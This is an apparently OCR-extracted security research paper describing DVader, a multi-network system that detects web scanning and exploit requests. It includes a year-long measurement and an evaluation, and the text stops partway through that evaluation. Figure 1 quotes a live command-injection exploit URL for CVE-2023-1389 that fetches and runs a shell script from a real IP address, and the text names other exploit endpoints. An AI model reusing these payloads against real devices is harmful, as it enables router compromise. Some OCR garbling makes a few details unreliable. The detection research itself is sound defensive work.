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Abstract—Scanning is a prevalent method used by threat actors
to identify vulnerabilities in networks or systems for subsequent
exploitation. Prior research has focused on signature or anomaly-
based methods for detecting malicious traffic on limited datasets.
However, there is a gap in the comprehensive understanding of
scanning activity, particularly in the context of the Web. Our
scanning detection system, DVader, leverages a unique vantage
point that provides visibility over nearly 100,000 networks to
monitor scanning patterns. We identify that scanning activity
often causes sudden bursts in traffic that are distinct from typical
user behavior. To detect scanning in mixed traffic (benign and
malicious), we track unusual spikes in volume-based features,
such as the total number of requests, and employ a machine
learning model. We conduct the first large-scale longitudinal
study of the scanning activity leveraging our multi-network
approach. By analyzing the detections of our system, we provide
insights into scanning activity. We detect 316 million scanning
and exploiting requests between May 1, 2023 and May 1, 2024,
58% of which are directed at router vulnerabilities. We show that
our system detects malicious URLs embedded in exploit requests
before they were detected by VirusTotal vendors. We show that
our system effectively detects emerging threats within mixed
traffic through case studies of recent and notable vulnerabilities,
such as those in Ivanti Connect Secure, Logd4j, and Zyxel router
Web UL

Index Terms—scanning activity, anomaly detection, networks

I. INTRODUCTION

Scanning occurs when an attacker initiates network requests
in an attempt to identify and later exploit the potential vul-
nerabilities of the target hosts. For example, attackers may
attempt to identify open ports and services that can be used
to gain access to a typically benign and potentially vulnerable
target system through scanning. Scanning activity has been on
the rise. In 2023 and 2024, several organizations, including
the Cybersecurity and Infrastructure Security Agency (CISA),
observed an increase in vulnerability scanning [1]. Scanning
requests typically originate from threat actors’ devices. How-
ever, scanning may also originate from benign networks likely
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driven by malware on infected machines [2]-[4]. By launching
scanning from compromised hosts, attackers can cover their
traces, bypass geofencing, and leverage the resources of these
compromised devices to generate a higher volume of scanning
requests compared to what they could achieve using only
their own devices. Generating a higher volume of scanning is
beneficial for attackers as it increases the likelihood of quickly
discovering vulnerabilities across a broad range of targets.

In this paper, we study the scanning and exploiting requests
that are specially crafted to scan the Internet for vulnerable
Web applications and exploit them. This type of scanning
activity utilizes HTTP(S) requests (such as GET and POST).
The crafted requests may scan for the existence of vulnerable
code or scan and exploit simultaneously by containing an
attack payload. For example, adversaries have attempted to
scan for and exploit an unauthenticated command injection
vulnerability in a router Web management interface (CVE-
2023-1389) by sending requests with URLs of the form
shown in Figure 1. These exploiting URLs are designed to
download a malicious file to the target, example.org, for
further malicious activities. By sending many HTTP requests
to different destinations (i.e., targets) with the crafted exploit
path shown in Figure 1, attackers may scan and attack multiple
destinations. If the target has the vulnerability, the launched
attack may succeed.

Target Path (Que;y included)

example.org/cgi-bin/luci/;stok=/locale?form=country&operation=
write&country=\$\(wget http://192.3.152.183/tenda.sh;./tenda. sh)}

N Payload
Path cont'd

Fig. 1. An example exploiting URL.

It is necessary to identify malicious or unknown traffic
among mixed network traffic (i.e., contains malicious and
benign requests) to study and mitigate scanning and exploiting
activity. The main challenge of systems that monitor networks
for malicious activity, is detecting emerging patterns. Common
implementations for malicious traffic detection use signature-



based methods [5]-[8] or anomaly-based detection [6], [9]—
[12]. The signature-based method finds known patterns that
would identify malicious activity. However, due to the high
frequency of new vulnerability introduction [13], signature-
based detection is less responsive to threats that have recently
surfaced. Anomaly detection has been extensively used to
detect malicious activities in networks. Anomaly detection
approaches typically characterize normal network flows based
on the detailed analysis of large-scale network packet data [6],
[14]-[16] or behaviors and connections of each network
node [6], [9], [10], then train ML models or neural net-
works [17]. However, even for unsupervised systems which
are easier to scale compared to supervised systems, it is
challenging to detect anomalous activity in enterprise networks
due to the enormous volume of data [9]. Prior research utilized
graph-based structures for task-specific detection of traffic
anomalies, identifying malware downloads [18], [19], static
resources [20] and infrastructure [21]. Related systems are
designed to detect subsets of attack methods [9], [10], [12]
such as lateral movement or C2 communication. Kruegel et
al. [11] presented an application-specific system to detect
attacks against Web applications. Among the state-of-the-art,
King et al. [9] developed an unsupervised, scalable, anomaly-
based temporal graph link prediction system for lateral move-
ment. However, their system handles a 12 GB dataset [22],
while ours processes 53.33 TB.

Prior work studied port scanning [23]-[25] and scanning
traffic generated by botnets [2], [26], [27]. To study scanning,
related work [2], [24], [25], [28], [29] leveraged network tele-
scopes based on darknets which can only partially illuminate
scanning activity [30] and do not directly provide insights on
scanning directed at enterprise networks. In this work, we
aim to comprehensively study scanning activity. For that, it
is beneficial to have a multi-network vantage point, which
amplifies the challenge. This data volume issue impacts both
signature-based and anomaly-based methods, especially on
a large scale where multiple networks are being monitored.
The traditional signature-based methods leverage deep packet
inspection (DPI). Developing such system, while possible in
theory, would present technical challenges such as latency and
storage. Existing anomaly detection methods are not feasible
for studying scanning activity comprehensively at a multi-
network scale since they would require separate model training
for each network.

In this study, we develop a multi-network and hybrid
scanning activity detection system which we call DVader.
We identified a common trait of scanning activity as causing
unusual surges in network traffic. Normal user traffic follows
diurnal patterns and is typically focused on a small set of desti-
nations. In contrast, scanning activity often generates traffic to
many different IP addresses, destination organizations, or paths
in a short time. This deviation results in measurable surges
in volumetric features such as request rate per destination
or per path. Based on this insight, we developed 9 volume-
based features for our system to monitor. To mitigate the
aforementioned DPI requirement of the signatures, we use

high-level signatures that inspect only the request URL path
along with the query string. Our volume-based features help us
mitigate the limitation of signatures being ineffective against
new threats. Additionally, we develop and train an ML model
to detect variations of known threat patterns and commands
often found in exploit payloads.

DVader is a hybrid system that uses volume-based fea-
tures extracted from network traffic and an ML model in
addition to high-level signatures to detect scanning activity.
Using DVader, we present the first large-scale longitudinal
analysis of scanning traffic. We teamed up with an enterprise
cybersecurity company whose Web filtering solution provides
us with a uniquely broad vantage point. This vantage point
gives us the ability to run DVader to detect and analyze
malicious scanning patterns across nearly 100,000 networks.
DVader first ingests network logs, applies filters, and maps
the destination IP address to the owner organization. It then
computes feature values, flags unusual spikes in these values,
and matches a set of high-level signatures to the logs. Finally,
DVader employs a set of filters and an ML model to categorize
the scanning requests with different confidence levels. Our ML
model architecture is largely influenced by URLNet [31] by
Le et al. and uses Character-level CNN and Word-level CNN
to extract the representation of the URLs.

Using DVader, we aim to identify known scanning requests,
highlight characteristics of scanning activity, as well as moni-
tor for emerging patterns. We run DVader on the network logs
collected between May 1, 2023 and May 1, 2024. DVader de-
tects 316 million scanning requests, 54 million of which probe
for high severity vulnerabilities (CVSS v2.0 rating>7.0 [32]).
Our detections indicate that commonly targeted vulnerabilities
are those with a high probability of affecting a wide range of
targets, with 58% directed at router vulnerabilities. Addition-
ally, DVader identifies instances of exploiting requests where
attackers embedded previously unseen malicious URLs (not
detected by any VirusTotal vendor) for payload delivery or C2
operations such as the URL shown in Figure 1. In summary,
the contributions of this paper are as follows:

« We identify a characteristic of scanning activity as sudden
bursts in traffic and develop volume-based features and a
spike detection algorithm to detect these bursts.

o We build a hybrid multi-network scanning activity detection
system called DVader utilizing volume-based features, high-
level signatures, and an ML model leveraging a vantage
point that allows us to comprehensively study scanning
traffic across nearly 100,000 networks. We demonstrate
the improved detection coverage achieved through a multi-
network vantage point, as opposed to relying on a single-
network perspective by showing a case study.

« By using DVader, we execute the first large-scale longi-
tudinal analysis of scanning traffic and detect millions of
scanning requests. We analyze our detections and provide
insights into scanning traffic.

« Using case studies of notable vulnerabilities disclosed be-
tween 2020-2024, we demonstrate that DVader is effective
in detecting emerging threats in mixed traffic.



« We show that DVader can make timely detections of mali-
cious payload or C2 URLs embedded in scanning requests.

II. BACKGROUND

In this section, we explain scanning and exploiting requests
and discuss different types of scanning and exploiting activity
(collectively referred to as scanning activity in the rest of this
paper). Then, we present the threat model of scanning.

A. Scanning and Exploiting Requests

Scanning unfolds as attackers launch network requests to
probe for vulnerabilities in target hosts. These hosts, typically
benign, might harbor vulnerabilities that attackers seek to
exploit. If the target has the probed vulnerability, the exploiting
request may result in a successful attack. In this paper,
we examine scanning activity initiated through HTTP and
HTTPS requests. Scanning and exploiting requests may target
previously disclosed or zero-day vulnerabilities. After a vul-
nerability disclosure, some websites might remain susceptible
to the vulnerability [33]. This susceptibility may persist due to
a variety of factors, including the extended timeframe required
for developers to update their Web applications, their lack
of awareness of the vulnerability, or the lack of ongoing
application maintenance.

Scanning requests are crafted for reconnaissance activities.
They may probe for information disclosure (e.g., <target>
/.git/config) or attempt to confirm the existence of vul-
nerable code by requesting an endpoint specific to a vulnerable
application. Exploiting requests may contain a payload in vari-
ous parts of the HTTP request such as the URL (e.g., shown in
Figure 1), the HTTP headers, the request body, or the cookies.
For example, the exploiting request for the unauthorized access
vulnerability in MOVEit Transfer (CVE-2023-34362) [34]
would have a URL of the form <target>/moveitisapi/
moveitisapi.dll?action=m2 while the payload re-
sides in the HTTP header X-siLock-Transaction. At-
tackers may send exploiting requests directly to various
targets or they may initially send a scanning request to
identify vulnerable endpoints and then follow by an ex-
ploit request. For example, a scanning URL of the form
<target>/boaform/admin/formlogin could identify
the existence of an endpoint that potentially has the com-
mand injection vulnerability disclosed as CVE-2022-30023.
Then, the attack is executed by sending an exploiting POST
request with a payload to the actual vulnerable endpoint,
<target>/boaform/formping.

B. Threat Model

Scanning for vulnerable services on the Internet is a key
component for cyberattacks ranging from exploiting individual
devices or servers to creating massive botnets capable of
executing large-scale DDoS attacks. Attackers use scanning
requests to identify vulnerable services or code, often as a pre-
cursor to exploitation attempts. Typically scanning originates
from the threat actors’ devices. However, threat actors may
leverage compromised devices in benign networks to launch

lateral scanning attacks as well as attacks directed at other
networks. In Figure 4, we demonstrate that our vantage point
gives us the ability to monitor both ingress and egress traffic,
allowing us to also account for scanning activity originating
from compromised devices. In Figure 2, we show the threat
model of scanning and exploiting. Attackers may scan targets
for vulnerabilities, identify the vulnerable targets and their
vulnerabilities then later send exploit requests to these targets.
Alternatively, attackers may directly attempt to exploit targets
without doing an initial scanning.

We classify scanning activity based on the number and
identity of the targets and vulnerabilities as follows:
* Single-Destination: The attacker directs their efforts towards
a single organization. The targets typically consist of IP
addresses that belong to this organization. The destination is
typically sensitive such as a government or a bank website.
* Multi-Destination: The attacker aims to cast a wider net
and compromise as many targets as possible. The target IP
addresses may belong to multiple organizations.
* Single-Vulnerability: The attacker focuses on a specific
vulnerability. For example, they may attempt to exploit a
recently disclosed vulnerability since more targets may be
vulnerable to it.
* Multi-Vulnerability: The attacker crafts requests for a
broader range of vulnerabilities, potentially hoping the tar-
get(s) will be vulnerable to at least one of them.
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Fig. 2. The threat model of scanning and exploiting activity.
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III. METHODOLOGY

We aim to characterize, detect, and measure the scanning
activity observed in enterprise networks. To accomplish that,
we build DVader, a scanning activity detection system that
incorporates various volume-based features, known threat sig-
natures, and an ML model. Using DVader, we detect scanning
traffic in the wild across multiple networks over a period
of 12 months. Our detection system has three modules: the
Preprocess Module, the Feature Module, and the Detection
Module. DVader ingests network traffic logs at the end of
each day and preprocesses them to filter out obvious non-
scanning traffic. It then computes features, monitors their
spikes, and matches a set of path-based signatures to the
logs. Finally, DVader applies additional filters and an ML
model to detect scanning. DVader categorizes the detections
based on the confidence level of the detection from higher to
lower as confident, potential, or emerging scanning. We also



manually investigate sampled emerging scanning detections to
detect unseen patterns. We illustrate DVader’s architecture in
Figure 3.

A. Vantage Point

Scanning activity often results in abnormal spikes in net-
work traffic, characterized by a high volume of requests. This
is typically driven by attackers’ intent to quickly probe and
exploit a large number of destinations or vulnerabilities in
a short period, aiming to maximize coverage and efficiency
during reconnaissance and exploit efforts. Some attackers may
use slower, more stealthy techniques that generate only small
increases in request volume, making detection difficult when
observing a single network in isolation. However, by moni-
toring multiple networks simultaneously, these small, similar
bursts can accumulate across vantage points, allowing for the
detection of distributed scanning activity that might otherwise
go unnoticed. Having visibility across multiple networks is
beneficial for monitoring volume-based features. Although
this method may not catch all scanning behavior, particularly
highly stealthy and non-distributed scans, it enhances detection
coverage and responsiveness by leveraging volumetric features
across a multi-network view. Therefore, we teamed up with a
cybersecurity company. Their Web filtering solution operates
on requests logged by their firewalls deployed in enterprise
networks. These logs are then collected in their cloud teleme-
try. This telemetry provides us with a unique vantage point
to monitor patterns of request URLs across nearly 100,000
monitored networks. We demonstrate the advantage of our
multi-network vantage point in Section VI-C with a case study.

By integrating DVader with the cybersecurity company’s
solution, we extract the following information for each ob-
served HTTP and HTTPS request: i) The recorded date
and time of the request, ii) The requested URL, iii) The
destination IP address, iv) The network identifier (Network
ID) and v) The network’s industry type and country. The
network identifier is anonymized to protect sensitive data. For
HTTPS traffic, SSL decryption is applied to extract the URLs.
Ethical considerations are further discussed in Appendix A.
Our visibility is limited to the request URL as the telemetry
does not provide us with the rest of the HTTP(S) requests.
However, by leveraging our volume-based features and the
multi-network vantage point, we can still capture scanning
requests as well as exploiting requests even when the payloads
are not embedded in the URLs but in other parts of the request.
We demonstrate this with a case study in Appendix H.

The monitored networks exhibit substantial diversity. We
monitor networks across a wide range of industries, includ-
ing but not limited to finance, healthcare, manufacturing,
high technology, and telecommunications. Geographically, our
monitoring spans various regions, encompassing North Amer-
ica, South America, Eastern and Western Europe, Asia, and
Africa. Different industries and regions may be targeted by
different types of attacks due to their varying infrastructures
and security postures. For instance, financial networks may
face attacks like phishing and fraud, while healthcare networks

could experience threats related to ransomware targeting sen-
sitive patient data. The monitored network diversity exposes
us to a broad spectrum of attack vectors. In Figure 4, we
show an illustration of how we utilize our unique vantage
point to collect requests originating from within the monitored
networks (egress) and requests directed at the monitored
networks (ingress) and detect scanning activity. Our detection
system can retrieve the cloud telemetry and identify spikes in
the total volume of request URLs containing the path /shell.

Cloud Database

Monitored Network 1
[ J

"
: - A.com/shell
1
1
|
'

A.comi/shell
B.coml/shell
MN1.com/shell

Vantage Point of DVader.

Fig. 4.

B. Preprocess Module

The first step of our system is the Preprocess module. This
module ingests the network logs of all monitored networks
for the past 24 hours and applies a set of URL filters to the
network logs to remove requests that are unlikely to be scan-
ning activity, based on our threat model and our preliminary
observations. The 24-hour sliding window could be adjusted
to be closer to real-time. Then, we map the destination of the
remaining egress requests with their respective organizations
(through autonomous system mapping) to help identify the
target of each request.

Given that our visibility is limited to the URL itself, we opt
to exclude requests from our dataset when the URL contains
neither a path nor a query. Private IP addresses are not unique
and may be used internally by private networks. Requests
to these IP ranges are by nature internal requests. These
internal requests could be indicators of lateral-movement or
benign vulnerability testing. In this work, we study requests
maliciously crafted to scan and exploit external networks.
Hence, we remove the requests that have private destination IP
addresses. To identify the type of activity and the goal of the
adversary, it is necessary to determine the target. To attribute
the destination IP addresses of egress requests to their respec-
tive organizations, we use Maxmind GeolP Database [35]. By
leveraging this database we map the destination IP addresses
to Autonomous Systems (AS).

C. Feature Module

After the preprocessing step concludes, the feature module
computes eight of the nine volume-based features and detects
unusual spikes in the feature values. Then, the spike inspector
removes requests that are unlikely to be scanning activity. The
remaining requests are then matched with threat signatures in
our curated database. Finally, for each network, the feature
module computes the ninth feature that represents the count
of signature matches per network.
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Fig. 3. The architecture of our scanning detection system, DVader.

1) Features: We develop our volume-based features to
capture the different types of scanning activity discussed in
Section II-B. Specifically, our features should capture targeted
attempts on individual networks or organizations as well
as distributed attempts across many networks. Our features
should be robust against emerging threats and benign fluctua-
tions in enterprise network traffic. When multiple networks log
similar scanning behavior, targeting the same vulnerability or
destination, they contribute to the same features as illustrated
in Figure 4. Hence, by monitoring volume-based features from
multiple networks, we could identify spikes that help detect
scanning activity. We conducted a preliminary analysis of
network logs from May 1 to Aug 1, 2023, preprocessing them
to detect scanning and exploiting requests using high-level
signatures linked to high-score CVEs (CVSS v2.0 rating>7.0).
From this analysis, with the analysts at the cybersecurity
company, we developed 9 DVader features fully using the
information provided by the solution telemetry to track various
aspects of request patterns. In Table I, we outline our features
and provide a notation for them to facilitate following the rest
of this paper.

This feature set captures key indicators of anomalous behav-
ior at both destination-level and vulnerability-level. Features
Ry, Rp and Rp n provide a baseline for detecting unusual
surges caused by the additional traffic introduced by scanning
activity in overall request volumes. Features Uﬁry , US”’ ,
Ug?\?, and UY track the number of unique organizations
and networks targeted, helping to identify multi-destination
scanning activities. Conversely, if these features show no
anomalies while U {35\, exhibits a spike, it suggests an IP
address sweep focused on a single organization, indicating
a single-destination scanning effort. Feature Uf,lg monitors a
unique set of high-level signatures that match requests logged
by each network. Unlike the rest of the features which require
an abnormal increase to indicate malicious activity, Uf,lg
shows an immediate signal of malicious activity without need-
ing volume analysis. Hence, we leverage feature Uf,lg without
spike detection. We summarize the correlations between the

Feature | Definition
Rpn | Total number of requests (R) with any path (Pg;;)
logged by a network (V).
Rp | Total number of requests (R) made with a particular path (P)
logged across all monitored networks (Ng;;).
Rp N | Total number of requests (R2) made with a particular path (P)
logged by a network (IV).
UI(\),TQ Total number of unique destination organizations (/©79)
in requests with any path (P,;;) logged by a network (V).
Ugrg Total number of unique destination organizations (U©"9)
in request with a particular path (P)
logged by all monitored networks (Ngj;).
US’?\? Total number of unique destination organizations (7©79)
in request with a particular path (P) logged by a network (V).
U {;f’ ~ | Total number of unique destination IP addresses (U 1Py
in request with a particular path (P) logged by a network (V).
Ug Total number of unique networks M)
that logged at least one request with a particular path (P).
Uf;’g Total number of unique signature hits (U5%9)
for requests logged by a network (V) (i.e., signature hits).

TABLE I
DVADER FEATURES.

features and scanning activity types in Appendix B. We discuss
the robustness of our features and spike detection methodology
in Section IV-A. In Appendix C, we show that each of our
features significantly contribute to the detections and that our
features are largely uncorrelated.

2) Feature Spike Detector: Our goal is to identify whether
a specific feature value displays an abnormal surge in com-
parison to its past values across previous days. The core of
our method is based on the concept of identifying outliers
or anomalies using deviations from the mean, a widely used
approach for anomaly detection in time series data [36].
To accomplish that, for each feature except Uf,lg , we first
compute the moving averages (¢ ) and the standard deviations
(oy) for a time window. Based on these two values and the
current feature (f) value, the spike detector labels the spikes.
By computing the moving average and standard deviation over
a rolling window, the spike detector adapts to the changes
in the data distribution over time and detects anomalies with
better accuracy compared to a method that only implements a
spike threshold.



Many real-world datasets, particularly in network monitor-
ing, traffic analysis, or user behavior, exhibit weekly periodic
patterns. For example, Web traffic might have distinct weekday
and weekend patterns, or customer activity could follow a
weekly cycle. The time window we pick for moving averages
should provide enough historical context to capture normal
behavior, yet should help accurately portray the recent trend
in feature values. Hence, we choose a 7-day moving window
which provides a good compromise between sensitivity to
detect anomalies quickly and stability to avoid false positives
due to daily noise.

In our preliminary experiments, we observe that for benign
traffic, 99% of the data points for feature values lie within
two or three standard deviations from their mean. Our finding
aligns with the common definition (for Z-scores) of a signifi-
cant anomaly as a deviation of two standard deviations from
the moving average [37]. To find the spikes, the spike detector
flags values that are greater than a moving upper threshold
(55{). We set the upper threshold as the mean plus a multiplier
(i.e., feature-specific constant, Ny) of the standard deviations.
Additionally, URLs that are observed once or a few times may
trigger the spike detector. Hence, we enforce a feature-specific
lower threshold (5]% ) to help us eliminate these kinds of false
positives. To tune 6% and Ny, we sample one month’s worth of
logs and scanning detections from our preliminary experiment.
Then, we adjust the thresholds and the constants so that the
spike inspector captures the spikes for the detected scanning
requests without mistaking unique URLSs as scanning. We label
a feature value as a spike only if the following conditions are
true: f > 0 and f > 0Y = s + Ny + oy, After executing
the spike detector, the feature module appends the identified
spikes (i.e., spike knowledge) to the corresponding requests.

a) Spike Inspector: At this stage, we use spike knowl-
edge to filter out low-potential scanning requests before the
costly signature matching step. The spike inspector examines
the results of the spike detector for each request and only
keeps the requests that show at least one feature spike.

3) Signature Matching: We match the URL paths against
a collection of high-level signatures created using Regular
Expressions (regex) [38]. With the signature matching com-
ponent, we can directly identify the requests that match with
known patterns. Moreover, this step later helps us compute
the feature U ]“\q,’g which contributes to detections by identifying
networks that have logged multiple requests with known threat
patterns. We explain this in detail in Section III-D.

a) Signature DB: We extracted a subset of 1,432 high-
level signatures from the cybersecurity company’s intrusion
prevention system (IPS) signature set. Their IPS signature
set is curated from various sources (such as manual and
automated methods and ML models). Specifically, we extract
regex representations of various scanning and exploiting paths
that may be used in attempts to exploit previously disclosed
vulnerabilities. The distribution of these signatures across the
years they were published and the assigned severities based on
the CVSS ratings are shown in Appendix D. The majority of
our signatures (98.6%) in our database are for vulnerabilities

published on or after 2019. This is because a wider array
of targets will likely remain vulnerable to recently disclosed
exploits due to factors such as insufficient time to apply
patches or the absence of available patches. Hence, it is more
practical for threat actors to target recent vulnerabilities.

b) Matching Process: We apply regex matching for each
request URL in the logs with all signatures. The requests that
match any signature in the DB get assigned the signature CVE
and the severity. We keep the requests that do not have a match
for further processing since these requests may be scanning for
threats that our DB does not cover (e.g., emerging or zero-day).
Successful attacks involving URLs matching high severity
signatures lead to more serious consequences compared to
those targeting medium or low-rated vulnerabilities. Addition-
ally, URLs matching high severity signatures typically contain
the complete attack payload, which may also incorporate a
malicious IP address where a malicious file is fetched from
(i.e., delivery IP) as shown in Figure 1. When a network FW
logs requests matching high severity signatures, it indicates
ingress or egress scanning activity, as the request might be
actively seeking to engage in acts that are unlikely to be benign
such as downloading a malicious file. Therefore, we can
directly designate these requests as scanning activity. However,
for some medium or low severity high-level signature matches,
such as /solr/admin/metrics (CVE-2023-50290), we
cannot directly classify it as scanning or exploiting, as it could
potentially be a benign request. The confidence level of our
detections varies depending on the severity of the signature.
Hence, we must handle requests matching different severities
differently. Therefore, the signature matching step ensures that
requests are assigned appropriate severities. We elaborate on
how we handle requests based on their assigned severities in
Section III-D. After the signature matching step is completed,
all requests with their assigned vulnerabilities (or lack thereof)
are propagated to the next step.

4) Signature Hits ( Uf,” ): Multi-vulnerability scanning is
strategically advantageous for adversaries. This approach en-
hances the likelihood of a successful exploit by broadening
the scope of probed vulnerabilities, particularly when the
adversary is unaware of the specific vulnerabilities present
in the targets. Additionally, when a network logs multiple
unique known scanning patterns in egress or ingress requests,
it increases the likelihood that its detected emerging paths are
indeed scanning activity. Hence, after the signature matching
step, we compute the signature hits feature (Uf,lg ) for each
network and append these values to the requests based on their
Network IDs. We independently quantify the occurrences of
unique high (U Sig "H) and medium or low severity signature
matches (Uf,ig ’ IL) for each network due to the confidence
level differences discussed in Section III-C3b.

D. Detection Module

In this phase, we begin by employing a filter that categorizes
the requests based on the severity of their matched signatures.
Then, we utilize the feature and spike knowledge to classify
requests as potential scanning activity or emerging scanning



activity candidates. To detect emerging scanning activity, we
further apply an ML model to candidates. We then manually
inspect emerging scanning candidates, create new signatures,
and feed them back to DVader.

1) Severity Filter: We directly label the requests matching
high severity signatures as confident scanning activity since
these requests both show spikes indicating scanning behavior
(determined by the spike inspector) and contain threat patterns.
We separate the remaining requests into two groups: one for
requests matching medium or low severity signatures, and the
other for requests that do not match any signatures in our
database. Then, we apply different filters to these groups be-
fore categorization. This division serves two purposes. Firstly,
requests with a medium or low severity signature match
already exhibit a heightened potential for scanning compared
to those without, requiring less supplementary evidence for
classification as scanning. Hence, we opt for less stringent
filters for the matched requests. Secondly, requests lacking
a match may embody emerging or zero-day threat patterns
requiring further investigation.

2) Feature Filters: To identify potential scanning activity,
we apply a feature filter to the requests with medium or
low severity signature matches. We eliminate a request, if its
corresponding network has logged zero requests matching a
high severity signature (i.e., Uf,lg - 0). This ensures only
requests linked to networks that are attacked contribute to the
potential scanning activity detections of DVader.

DVader uses feature and spike knowledge and our ML
model to detect emerging patterns. For this work, we opt to
use strict filters on feature and spike knowledge as well as a
strict detection threshold for our ML model to reduce false
positives and the manual labor needed to investigate emerging
scanning activity detections. At this step, a request is retained
if U]‘\g,lg A > 5 and at least 5 features show a spike. We chose
these rules for our filters based on the median numbers we
calculated for high severity detections in our preliminary ex-
periment. We then propagate the remaining emerging scanning
activity candidates to our ML model for further detection.
Furthermore, we manually inspect these detections for other
unseen patterns as we discuss in Section IV-C2.

3) ML Model: We designed our model to detect variations
of known malicious patterns and exploit patterns that contain
commands (e.g., wget) to help with the detection of zero-
day or emerging exploiting patterns. We chose not to include
volumetric features in the model at this stage and left that for
future work. This decision was due to the significant time and
manual effort required to collect and label a sufficiently large
dataset that includes both scanning and exploitation cases. In
particular, when the URL does not contain an explicit payload,
labeling relies on volumetric features, which would require
extended runtime of DVader and manual labor to capture and
annotate such activity accurately.

Our model architecture is largely influenced by URL-
Net [31] by Le et al., a proven effective model for detecting
malicious URLs. Like URLNet [31], we use Character-level
CNN and Word-level CNN to extract the representation of the

URLSs for predictions. Additionally, we introduce a new feature
to the Word-level CNN: string random. This feature calculates
the randomness score (0-1) of each word using Markov Chain.
To make it compatible with other features in the Word-level
CNN, we embed the randomness scores by multiplying them
with a learnable embedding vector, allowing us to turn the
randomness scores into the same dimension as other features.
After passing through the Character-level CNN and Word-level
CNN, we concatenate the representations from each CNN and
pass them through one dense layer to transform and reduce the
vector dimension. Unlike the approach taken by Le et al., we
do not pass the final representative vector to a standard softmax
layer for predictions. Instead, we use the Innocent Until Proven
Guilty IUPG) framework [39] to train the model and make
predictions. This approach, first introduced by Kutt et al. [39],
involves leveraging K-means to cluster scanning samples and
collect representative prototypes before training. During train-
ing, we extract the representations of training samples and
prototypes using Character-level CNN, Word-level CNN, and
a dense layer, and measure the L1 Euclidean distances between
the representations of each sample and prototypes. Finally, we
obtain the scores by calculating 1 — min(tanh(distances)).
This use of the IUPG framework makes the model more robust
against out-of-distribution content, reducing the likelihood of
false positives.

To train the model, we collected 3 million benign URLSs
and 4,899 scanning (or exploiting) URLs from the preliminary
experiment discussed in Section III-C1. To ensure there are
no false positives, for the scanning URL set we collected
i) URLs matching with signatures and ii) URLs that do not
match with signatures but contain commands typically used
in malicious payloads, such as wget and chmod. The data
is split into three disjoint testing, training and validation sets
as follows: 1 million benign URLs for each of the training,
testing, and validation, 1,499 scanning URLSs for training, 999
for validation, and 2,401 for testing. To address the issue of
imbalanced data distribution, we added extra class weight to
the cross-entropy loss function for scanning activity samples.
We trained the model using only the query and path parts of
URLs since we wanted to avoid misleading the model to be
biased toward certain targets.

IV. SYSTEM EVALUATION

We analyzed nearly 100,000 network logs to detect scanning
activity spanning over 12 months between May 1, 2023,
and May 1, 2024. DVader ingests 12 months’ worth of
network logs containing 2.45 trillion requests (6.8 billion per
day). After the filters in the preprocess and feature module
are applied, this number decreases to 36.4 billion. Upon
completing all steps, DVader identifies 54 million confident
scanning, 139.4 million potential scanning, and 122.4 million
emerging scanning requests, respectively representing 0.15%,
0.38%, and 0.34% of the total analyzed network traffic after
the filters. Consequently, the overall scanning activity traffic
(315.8 million requests) constitutes at least 0.87% of the traffic



after our strict filters. In this section, we evaluate our scanning
activity detection system, DVader.

A. Robustness

a) Robustness Against Mixed Traffic: One potential chal-
lenge with spike detection is the occurrence of spikes in
benign environments, where natural fluctuations in user be-
havior, such as a sudden surge in Web traffic during peak
business hours, might trigger false positives. To mitigate this,
our detection system incorporates safeguards such as the use
of a 7-day moving average, standard deviation, and feature
filters. To ensure the robustness of our features and spike
detection method, we must demonstrate that we minimize
false positives and accurately identify scanning traffic. To this
end, we evaluate all features except Uf,zg . For network-based
features (with an [N subscript, fxn), we need to observe their
behavior for a benign network where Web traffic is generated
by real users under normal operating conditions, devoid of
any known malicious activity. It is difficult to gather organic
and large-scale traffic that can be confidently labeled as purely
benign. Hence, we analyzed a network within the cybersecurity
company where advanced protection mechanisms reduce the
likelihood of malicious activity.

In Figure 5, for the selected network, we show an excerpt
of the feature Ry and the moving threshold DVader computes
during our longitudinal study. We show that DVader is mostly
able to adapt to fluctuations and avoid false positives. During
our 12 month study, we record only two instances where
DVader potentially falsely flags a spike in feature Ry. In
Appendix Section I, we show similar results for all evaluated
features. Additionally, Figure 5 demonstrates a clear pattern in
which request volumes are naturally elevated during weekdays
compared to weekends. This observed periodicity over a 7-day
span suggests that DVader’s 7-day moving average window is
well-calibrated to capture these fluctuations. As a result, this
configuration enhances the system’s ability to accurately detect
deviations indicative of scanning activity, while minimizing
false positives from normal traffic variations.
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Fig. 5. Feature Ry and the moving threshold 5%1\7

b) Robustness Against Unseen Threats: To evaluate sys-
tem robustness against unseen threats, we must show that our
system is able to detect unseen threats before any large-scale
attempt begins. To this end, we historically evaluated DVader’s
capability of detecting emerging scanning over notable vul-
nerabilities used in scanning activity. In Figure 6, we show
an example of this evaluation for the remote code execution
(RCE) vulnerability in Apache’s Log4j library (CVE-2021-
44228). We run DVader retrospectively on the network logs

around the CVE publish date of Dec 10, 2021. DVader was
able to timely detect this unseen (to our system) threat as
emerging scanning activity on the CVE publish date, before
the large-scale scanning activity started.
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Fig. 6. Number of networks that logged scanning activity linked to Log4Shell.

B. ML Model Validation

Firstly, leveraging the datasets discussed in Section III-D3,
we evaluated the model using two metrics: false positive rate
(FPR) and recall. As we aimed to have a low FPR, we used
the detection scores from the validation set to determine the
thresholds that meet our standards. We then applied these
thresholds to the test set to obtain corresponding recall results.
As we show in Table II, our deep learning model for scanning
detection achieves high recall scores while maintaining low
FPRs, showcasing the ability of the model to correctly identify
URLs for scanning activity. We choose the threshold for the
lowest FPR (0.0001) for the ML model to use in DVader. Fur-
thermore, we employed the Receiver Operating Characteristic
(ROC) Curve and the Area Under the ROC Curve (ROC AUC)
as metrics to evaluate the model’s effectiveness in correctly
identifying positive instances while minimizing false positives.
The model demonstrated exemplary performance with an ROC
AUC score of 0.9997 on the test set (shown in Appendix E),
indicating a highly accurate predictive ability and robustness
in distinguishing true positives.

Threshold Targeted for FPR
FPR < 0.001
Recall FPR

0.96996997
0.9433427762

TABLE 11
THRESHOLD TARGETED FOR VARIOUS FPRS.

FPR < 0.01
Recall FPR

Validation  0.993993994 0.0099997088
Test 0.9858356941  0.0099952609

FPR < 0.0001
Recall FPR

0.9249249249  0.0000993947
0.880075543 0.0000963883

Dataset

0.0009839071
0.0009889836

C. Scanning Activity Detections

1) Potential Scanning Activity: To evaluate potential scan-
ning activity detections, for 5 medium or low severity sig-
natures, we sampled 10 of the lowest confidence detections
for manual investigation. We classify potential scanning de-
tections as low confidence if the detected request only has a
single feature spike and Uxy'9"" = 1. We observe a higher
confidence level in 85.7% of all detected potential scanning
requests. For the sampled 50 requests, at least one of the
following scanning activity indicators applied: i) The request
is part of an IP address range sweep (spike in U£'y), i) The
